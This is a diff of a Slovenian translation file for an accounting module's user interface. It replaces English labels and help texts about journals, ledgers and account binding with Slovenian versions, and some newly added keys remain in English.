subaccount +ChartOfSubaccounts=Shema posameznih kontov +ChartOfIndividualAccountsOfSubsidiaryLedger=Shema posameznih kontov pomožne knjige +CurrentDedicatedAccountingAccount=Tekoči namenski račun +AssignDedicatedAccountingAccount=Nov račun za dodelitev +InvoiceLabel=Oznaka računa +OverviewOfAmountOfLinesNotBound=Pregled količine postavk, ki niso vezane na računovodski račun +OverviewOfAmountOfLinesBound=Pregled količine pozicij, ki so že vezane na računovodski račun +OtherInfo=Druge informacije +DeleteCptCategory=Odstranite računovodski račun iz skupine +ConfirmDeleteCptCategory=Ali ste prepričani, da želite ta računovodski račun odstraniti iz skupine računovodskih računov? +JournalizationInLedgerStatus=Stanje novinarstva +AlreadyInGeneralLedger=Že preneseno v knjigovodske dnevnike in glavno knjigo +NotYetInGeneralLedger=Še ni preneseno v knjigovodske dnevnike in glavno knjigo +GroupIsEmptyCheckSetup=Skupina je prazna, preverite nastavitev personalizirane računovodske skupine +DetailByAccount=Prikaži podrobnosti po računu +AccountWithNonZeroValues=Računi z vrednostmi, ki niso nič +ListOfAccounts=Seznam računov +CountriesInEEC=Države v EGS +CountriesNotInEEC=Države, ki niso v EGS +CountriesInEECExceptMe=Države v EGS razen %s +CountriesExceptMe=Vse države razen %s +AccountantFiles=Izvoz izvornih dokumentov +ExportAccountingSourceDocHelp=S tem orodjem lahko iščete in izvozite izvorne dogodke, ki se uporabljajo za ustvarjanje vašega računovodstva.
      Izvožena datoteka ZIP bo vsebovala sezname zahtevanih elementov v CSV in njihove priložene datoteke v izvirni obliki (PDF, ODT, DOCX ...). +ExportAccountingSourceDocHelp2=Če želite izvoziti svoje dnevnike, uporabite menijski vnos %s - %s. +ExportAccountingProjectHelp=Določite projekt, če potrebujete računovodsko poročilo samo za določen projekt. Poročila o stroških in plačila posojil niso vključena v projektna poročila. +VueByAccountAccounting=Ogled po računovodskem računu +VueBySubAccountAccounting=Pogled po računovodskih podkontih -MainAccountForCustomersNotDefined=Main accounting account for customers not defined in setup -MainAccountForSuppliersNotDefined=Main accounting account for vendors not defined in setup -MainAccountForUsersNotDefined=Main accounting account for users not defined in setup -MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup -MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +MainAccountForCustomersNotDefined=Glavni računovodski račun za stranke, ki niso definirane v nastavitvah +MainAccountForSuppliersNotDefined=Glavni računovodski račun za prodajalce, ki niso definirani v nastavitvah +MainAccountForUsersNotDefined=Glavni računovodski račun za uporabnike, ki niso definirani v nastavitvah +MainAccountForVatPaymentNotDefined=Glavni računovodski račun za plačilo DDV ni definiran v nastavitvah +MainAccountForSubscriptionPaymentNotDefined=V nastavitvah ni definiran glavni računovodski račun za plačilo naročnine +UserAccountNotDefined=Računovodski račun za uporabnika ni definiran v nastavitvah -AccountancyArea=Accounting area -AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: -AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) -AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... +AccountancyArea=Računovodsko področje +AccountancyAreaDescIntro=Uporaba računovodskega modula poteka v več korakih: +AccountancyAreaDescActionOnce=Naslednja dejanja se običajno izvedejo samo enkrat ali enkrat na leto ... +AccountancyAreaDescActionOnceBis=Naslednje korake je treba storiti, da vam prihranite čas v prihodnosti, tako da vam pri prenosu podatkov v računovodstvu samodejno predlaga pravilen privzeti računovodski račun +AccountancyAreaDescActionFreq=Naslednja dejanja se običajno izvajajo vsak mesec, teden ali dan za zelo velika podjetja... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s -AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s -AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s +AccountancyAreaDescJournalSetup=KORAK %s: Preverite vsebino svojega seznama dnevnikov v meniju %s +AccountancyAreaDescChartModel=KORAK %s: Preverite, ali model kontnega načrta obstaja ali ga ustvarite v meniju %s +AccountancyAreaDescChart=KORAK %s: Izberite in|ali dokončajte svoj kontni načrt v meniju %s -AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. -AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. -AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. -AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. -AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. -AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. -AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. -AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescVat=KORAK %s: Definirajte računovodske konte za posamezne stopnje DDV. Za to uporabite menijski vnos %s. +AccountancyAreaDescDefault=KORAK %s: Definirajte privzete računovodske račune. Za to uporabite menijski vnos %s. +AccountancyAreaDescExpenseReport=KORAK %s: Definirajte privzete računovodske račune za vsako vrsto poročila o stroških. Za to uporabite menijski vnos %s. +AccountancyAreaDescSal=KORAK %s: Definirajte privzete računovodske račune za izplačilo plač. Za to uporabite menijski vnos %s. +AccountancyAreaDescContrib=KORAK %s: Definirajte privzete računovodske konte za Davke (posebni stroški). Za to uporabite menijski vnos %s. +AccountancyAreaDescDonation=KORAK %s: Določite privzete računovodske račune za donacijo. Za to uporabite menijski vnos %s. +AccountancyAreaDescSubscription=KORAK %s: Definirajte privzete računovodske račune za člansko naročnino. Za to uporabite menijski vnos %s. +AccountancyAreaDescMisc=KORAK %s: Definirajte obvezni privzeti račun in privzete računovodske račune za razne transakcije. Za to uporabite menijski vnos %s. +AccountancyAreaDescLoan=KORAK %s: Določite privzete računovodske račune za posojila. Za to uporabite menijski vnos %s. +AccountancyAreaDescBank=KORAK %s: Določite računovodske račune in kodo temeljnice za vsak bančni in finančni račun. Za to uporabite menijski vnos %s. +AccountancyAreaDescProd=KORAK %s: Določite računovodske konte za vaše izdelke/storitve. Za to uporabite menijski vnos %s. -AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. -AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. -AccountancyAreaDescAnalyze=STEP %s: Add or edit existing transactions and generate reports and exports. +AccountancyAreaDescBind=KORAK %s: Preverite, ali je povezava med obstoječimi vrsticami %s in računovodskim računom narejena, tako da bo aplikacija lahko beležila transakcije v Ledgerju z enim klikom. Dopolni manjkajoče vezave. Za to uporabite menijski vnos %s. +AccountancyAreaDescWriteRecords=KORAK %s: Zapišite transakcije v knjigo Ledger. Za to pojdite v meni %s in kliknite gumb %s . +AccountancyAreaDescAnalyze=KORAK %s: dodajte ali uredite obstoječe transakcije ter ustvarite poročila in izvoze. -AccountancyAreaDescClosePeriod=STEP %s: Close period so we can't make modification in a future. +AccountancyAreaDescClosePeriod=KORAK %s: Zaprite obdobje, da v prihodnje ne moremo narediti sprememb. -TheJournalCodeIsNotDefinedOnSomeBankAccount=A mandatory step in setup has not been completed (accounting code journal not defined for all bank accounts) -Selectchartofaccounts=Select active chart of accounts -ChangeAndLoad=Change and load +TheJournalCodeIsNotDefinedOnSomeBankAccount=Obvezen korak pri nastavitvi ni bil dokončan (dnevnik računovodskih kod ni definiran za vse bančne račune) +Selectchartofaccounts=Izberite aktivni kontni načrt +ChangeAndLoad=Spremenite in naložite Addanaccount=Dodaj računovodskega račun AccountAccounting=Računovodstvo račun AccountAccountingShort=Račun -SubledgerAccount=Subledger account -SubledgerAccountLabel=Subledger account label -ShowAccountingAccount=Show accounting account -ShowAccountingJournal=Show accounting journal -ShowAccountingAccountInLedger=Show accounting account in ledger -ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Accounting account suggested -MenuDefaultAccounts=Default accounts +SubledgerAccount=Račun podknjižbe +SubledgerAccountLabel=Oznaka konta podknjige +ShowAccountingAccount=Pokaži računovodski račun +ShowAccountingJournal=Prikaži knjigovodski dnevnik +ShowAccountingAccountInLedger=Pokaži računovodski račun v knjigi +ShowAccountingAccountInJournals=Pokaži računovodski račun v dnevnikih +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested +MenuDefaultAccounts=Privzeti računi MenuBankAccounts=Bančni računi -MenuVatAccounts=Vat accounts -MenuTaxAccounts=Tax accounts -MenuExpenseReportAccounts=Expense report accounts -MenuLoanAccounts=Loan accounts -MenuProductsAccounts=Product accounts -MenuClosureAccounts=Closure accounts -MenuAccountancyClosure=Closure -MenuAccountancyValidationMovements=Validate movements -ProductsBinding=Products accounts -TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting -Binding=Binding to accounts -CustomersVentilation=Customer invoice binding -SuppliersVentilation=Vendor invoice binding -ExpenseReportsVentilation=Expense report binding -CreateMvts=Create new transaction -UpdateMvts=Modification of a transaction -ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +MenuVatAccounts=DDV računi +MenuTaxAccounts=Davčni računi +MenuExpenseReportAccounts=Računi poročil o stroških +MenuLoanAccounts=Posojilni računi +MenuProductsAccounts=Računi izdelkov +MenuClosureAccounts=Zapiranje računov +MenuAccountancyClosure=Zaključek +MenuAccountancyValidationMovements=Potrdite gibe +ProductsBinding=Računi izdelkov +TransferInAccounting=Prenos v računovodstvo +RegistrationInAccounting=Evidentiranje v računovodstvu +Binding=Vezava na račune +CustomersVentilation=Vezava računa stranke +SuppliersVentilation=Vezava računa dobavitelja +ExpenseReportsVentilation=Vezava stroškovnika +CreateMvts=Ustvari novo transakcijo +UpdateMvts=Sprememba transakcije +ValidTransaction=Potrdite transakcijo +WriteBookKeeping=Evidentirajte transakcije v računovodstvu Bookkeeping=Ledger -BookkeepingSubAccount=Subledger -AccountBalance=Account balance -ObjectsRef=Source object ref -CAHTF=Total purchase vendor before tax -TotalExpenseReport=Total expense report -InvoiceLines=Lines of invoices to bind -InvoiceLinesDone=Bound lines of invoices -ExpenseReportLines=Lines of expense reports to bind -ExpenseReportLinesDone=Bound lines of expense reports -IntoAccount=Bind line with the accounting account -TotalForAccount=Total accounting account +BookkeepingSubAccount=Podknjiga +AccountBalance=Stanje na računu +AccountBalanceSubAccount=Sub-accounts balance +ObjectsRef=Izvorni objekt ref +CAHTF=Skupni nakup pred obdavčitvijo +TotalExpenseReport=Poročilo o skupnih stroških +InvoiceLines=Vrstice računov za vezavo +InvoiceLinesDone=Vezane vrstice računov +ExpenseReportLines=Vrstice poročil o stroških za vezavo +ExpenseReportLinesDone=Vezane vrstice poročil o stroških +IntoAccount=Vezava vrstice z računovodskim računom +TotalForAccount=Skupni računovodski račun -Ventilate=Bind -LineId=Id line +Ventilate=Vezati +LineId=Id vrstica Processing=Processing -EndProcessing=Process terminated. +EndProcessing=Postopek prekinjen. SelectedLines=Izbrane vrstice -Lineofinvoice=Line računa -LineOfExpenseReport=Line of expense report -NoAccountSelected=No accounting account selected -VentilatedinAccount=Binded successfully to the accounting account -NotVentilatedinAccount=Not bound to the accounting account -XLineSuccessfullyBinded=%s products/services successfully bound to an accounting account -XLineFailedToBeBinded=%s products/services were not bound to any accounting account +Lineofinvoice=Vrstica računa +LineOfExpenseReport=Poročilo o stroških +NoAccountSelected=Izbran ni noben računovodski račun +VentilatedinAccount=Uspešno vezan na računovodski račun +NotVentilatedinAccount=Ni vezano na računovodski račun +XLineSuccessfullyBinded=%s izdelki/storitve uspešno vezani na računovodski račun +XLineFailedToBeBinded=%s izdelki/storitve niso bili vezani na noben računovodski račun -ACCOUNTING_LIMIT_LIST_VENTILATION=Maximum number of lines on list and bind page (recommended: 50) -ACCOUNTING_LIST_SORT_VENTILATION_TODO=Begin the sorting of the page "Binding to do" by the most recent elements -ACCOUNTING_LIST_SORT_VENTILATION_DONE=Begin the sorting of the page "Binding done" by the most recent elements +ACCOUNTING_LIMIT_LIST_VENTILATION=Največje število vrstic na strani s seznamom in vezavo (priporočeno: 50) +ACCOUNTING_LIST_SORT_VENTILATION_TODO=Začnite razvrščati stran "Binding to do" po najnovejših elementih +ACCOUNTING_LIST_SORT_VENTILATION_DONE=Začnite razvrščati stran "Binding done" po najnovejših elementih -ACCOUNTING_LENGTH_DESCRIPTION=Truncate product & services description in listings after x chars (Best = 50) -ACCOUNTING_LENGTH_DESCRIPTION_ACCOUNT=Truncate product & services account description form in listings after x chars (Best = 50) -ACCOUNTING_LENGTH_GACCOUNT=Length of the general accounting accounts (If you set value to 6 here, the account '706' will appear like '706000' on screen) -ACCOUNTING_LENGTH_AACCOUNT=Length of the third-party accounting accounts (If you set value to 6 here, the account '401' will appear like '401000' on screen) -ACCOUNTING_MANAGE_ZERO=Allow to manage different number of zeros at the end of an accounting account. Needed by some countries (like Switzerland). If set to off (default), you can set the following two parameters to ask the application to add virtual zeros. -BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank account -ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal -ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) -ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_LENGTH_DESCRIPTION=Skrajšajte opis izdelkov in storitev v seznamih po x znakov (Najboljše = 50) +ACCOUNTING_LENGTH_DESCRIPTION_ACCOUNT=Skrajšajte obrazec za opis računa izdelkov in storitev v seznamih po x znakov (Najboljše = 50) +ACCOUNTING_LENGTH_GACCOUNT=Dolžina splošnih računovodskih računov (če tukaj nastavite vrednost na 6, bo račun '706' na zaslonu prikazan kot '706000') +ACCOUNTING_LENGTH_AACCOUNT=Dolžina računovodskih računov partnerjev (če tukaj nastavite vrednost na 6, bo račun »401« na zaslonu prikazan kot »401000«) +ACCOUNTING_MANAGE_ZERO=Omogoča upravljanje z različnim številom ničel na koncu računovodskega računa. Potrebujejo ga nekatere države (na primer Švica). Če je nastavljeno na izklopljeno (privzeto), lahko nastavite naslednja dva parametra, da od aplikacije zahtevate dodajanje navideznih ničel. +BANK_DISABLE_DIRECT_INPUT=Onemogoči neposredno beleženje transakcije na bančnem računu +ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Omogoči izvoz osnutka v dnevniku +ACCOUNTANCY_COMBO_FOR_AUX=Omogoči kombinirani seznam za podrejeni račun (morda je počasen, če imate veliko tretjih oseb, onemogočite možnost iskanja po delu vrednosti) +ACCOUNTING_DATE_START_BINDING=Določite datum začetka vezave in prenosa v računovodstvu. Pod tem datumom se transakcije ne prenesejo v računovodstvo. +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Pri prenosu knjigovodstva, katero obdobje je privzeto izbrano -ACCOUNTING_SELL_JOURNAL=Prodam revija -ACCOUNTING_PURCHASE_JOURNAL=Nakup revij -ACCOUNTING_MISCELLANEOUS_JOURNAL=Razno revija +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Pregled stroškovnih poročil +ACCOUNTING_MISCELLANEOUS_JOURNAL=Splošni dnevnik +ACCOUNTING_HAS_NEW_JOURNAL=Ima nov dnevnik +ACCOUNTING_INVENTORY_JOURNAL=Inventurni dnevnik ACCOUNTING_SOCIAL_JOURNAL=Socialna revija -ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal -ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) -ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) -ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure +ACCOUNTING_RESULT_PROFIT=Računovodstvo rezultata (dobiček) +ACCOUNTING_RESULT_LOSS=Račun računovodstva rezultata (izguba) +ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Dnevnik zaključka -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer -TransitionalAccount=Transitional bank transfer account +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers +TransitionalAccount=Prehodni bančni račun -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Shranjevanje računa stranke kot posameznega računa v pomožni knjigi za vrstice predplačil (če je onemogočeno, bo posamezni račun za vrstice predplačil ostal prazen) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Shranite račun dobavitelja kot posamezni račun v pomožni knjigi za vrstice predplačil (če je onemogočeno, bo posamezni račun za vrstice predplačil ostal prazen) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Vrsta dokumenta Docdate=Datum Docref=Reference LabelAccount=Račun Label -LabelOperation=Label operation -Sens=Direction -AccountingDirectionHelp=For an accounting account of a customer, use Credit to record a payment you have received
      For an accounting account of a supplier, use Debit to record a payment you made -LetteringCode=Lettering code -Lettering=Lettering +LabelOperation=Delovanje etikete +Sens=Smer +AccountingDirectionHelp=Za računovodski račun stranke uporabite Kredit za evidentiranje plačila, ki ste ga prejeli
      Za računovodski račun dobavitelja uporabite Debet za evidentiranje plačila, ki ste ga opravili +LetteringCode=Koda črk +Lettering=Napis Codejournal=Revija -JournalLabel=Journal label -NumPiece=Piece number -TransactionNumShort=Num. transaction -AccountingCategory=Custom group -GroupByAccountAccounting=Group by general ledger account -GroupBySubAccountAccounting=Group by subledger account -AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. -ByAccounts=By accounts -ByPredefinedAccountGroups=By predefined groups -ByPersonalizedAccountGroups=By personalized groups +JournalLabel=Oznaka dnevnika +NumPiece=Številka kosa +TransactionNumShort=št. transakcija +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts +GroupByAccountAccounting=Združi po kontu glavne knjige +GroupBySubAccountAccounting=Združi po kontu podknjižbe +AccountingAccountGroupsDesc=Tu lahko določite nekaj skupin računovodskih kontov. Uporabljali se bodo za personalizirana računovodska poročila. +ByAccounts=Po računih +ByPredefinedAccountGroups=Po vnaprej določenih skupinah +ByPersonalizedAccountGroups=Po prilagojenih skupinah ByYear=Po letih -NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting -DelMonth=Month to delete -DelYear=Year to delete -DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +NotMatch=Ni nastavljeno +DeleteMvt=Izbrišite nekaj vrstic iz računovodstva +DelMonth=Mesec za brisanje +DelYear=Leto za brisanje +DelJournal=Dnevnik za brisanje +ConfirmDeleteMvt=S tem boste izbrisali vse vrstice v računovodstvu za leto/mesec in/ali za določen dnevnik (zahtevan je vsaj en kriterij). Znova boste morali uporabiti funkcijo '%s', da boste izbrisani zapis vrnili v knjigo. +ConfirmDeleteMvtPartial=S tem boste transakcijo izbrisali iz računovodstva (izbrisane bodo vse vrstice, povezane z isto transakcijo) FinanceJournal=Finance journal -ExpenseReportsJournal=Expense reports journal +ExpenseReportsJournal=Dnevnik poročil o stroških +InventoryJournal=Inventurni dnevnik DescFinanceJournal=Finance journal including all the types of payments by bank account -DescJournalOnlyBindedVisible=This is a view of record that are bound to an accounting account and can be recorded into the Journals and Ledger. -VATAccountNotDefined=Account for VAT not defined -ThirdpartyAccountNotDefined=Account for third party not defined -ProductAccountNotDefined=Account for product not defined -FeeAccountNotDefined=Account for fee not defined -BankAccountNotDefined=Account for bank not defined +DescJournalOnlyBindedVisible=To je pogled evidence, ki je vezan na računovodski račun in ga je mogoče zabeležiti v dnevnike in glavno knjigo. +VATAccountNotDefined=Račun za DDV ni opredeljen +ThirdpartyAccountNotDefined=Račun za tretjo osebo ni opredeljen +ProductAccountNotDefined=Račun za izdelek ni opredeljen +FeeAccountNotDefined=Račun za provizijo ni določen +BankAccountNotDefined=Račun za banko ni določen CustomerInvoicePayment=Plačilo računa kupca -ThirdPartyAccount=Third-party account -NewAccountingMvt=New transaction -NumMvts=Numero of transaction -ListeMvts=List of movements +ThirdPartyAccount=Račun partnerja +NewAccountingMvt=Nova transakcija +NumMvts=Število transakcij +ListeMvts=Seznam gibanj ErrorDebitCredit=Debetne in Credit ne more imeti vrednosti hkrati -AddCompteFromBK=Add accounting accounts to the group -ReportThirdParty=List third-party account -DescThirdPartyReport=Consult here the list of third-party customers and vendors and their accounting accounts +AddCompteFromBK=Dodajte računovodske račune v skupino +ReportThirdParty=Seznam računov partnerjev +DescThirdPartyReport=Tukaj si oglejte seznam kupcev in dobaviteljev ter njihove računovodske račune ListAccounts=Seznam računovodskih računov -UnknownAccountForThirdparty=Unknown third-party account. We will use %s -UnknownAccountForThirdpartyBlocking=Unknown third-party account. Blocking error -ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Subledger account not defined or third party or user unknown. We will use %s -ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Third-party unknown and subledger not defined on the payment. We will keep the subledger account value empty. -ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Subledger account not defined or third party or user unknown. Blocking error. -UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Unknown third-party account and waiting account not defined. Blocking error -PaymentsNotLinkedToProduct=Payment not linked to any product / service -OpeningBalance=Opening balance -ShowOpeningBalance=Show opening balance -HideOpeningBalance=Hide opening balance -ShowSubtotalByGroup=Show subtotal by level +UnknownAccountForThirdparty=Neznani račun tretje osebe. Uporabili bomo %s +UnknownAccountForThirdpartyBlocking=Neznani račun tretje osebe. Napaka pri blokiranju +ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Račun podknjige ni definiran ali partner ali uporabnik ni znan. Uporabili bomo %s +ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Neznana tretja oseba in podknjižba ni opredeljena na plačilu. Vrednost konta pomožne knjige bo ostala prazna. +ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Račun podknjige ni definiran ali partner ali uporabnik ni znan. Napaka pri blokiranju. +UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Neznani račun tretje osebe in čakajoči račun nista definirana. Napaka pri blokiranju +PaymentsNotLinkedToProduct=Plačilo ni povezano z nobenim izdelkom/storitvijo +OpeningBalance=Začetno stanje +ShowOpeningBalance=Pokaži začetno stanje +HideOpeningBalance=Skrij začetno stanje +ShowSubtotalByGroup=Prikaži vmesni seštevek po stopnjah -Pcgtype=Group of account -PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +Pcgtype=Skupina računov +PcgtypeDesc=Skupine kontov se uporabljajo kot vnaprej določena merila 'filtra' in 'združevanja' za nekatera računovodska poročila. Na primer, 'PRIHODEK' ali 'STROŠEK' se uporabljata kot skupini za računovodske račune izdelkov za izdelavo poročila o stroških/prihodkih. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. -Reconcilable=Reconcilable +Reconcilable=Spravljivo -TotalVente=Total turnover before tax +TotalVente=Skupaj prihodek brez davka TotalMarge=Skupaj prodajna marža -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy 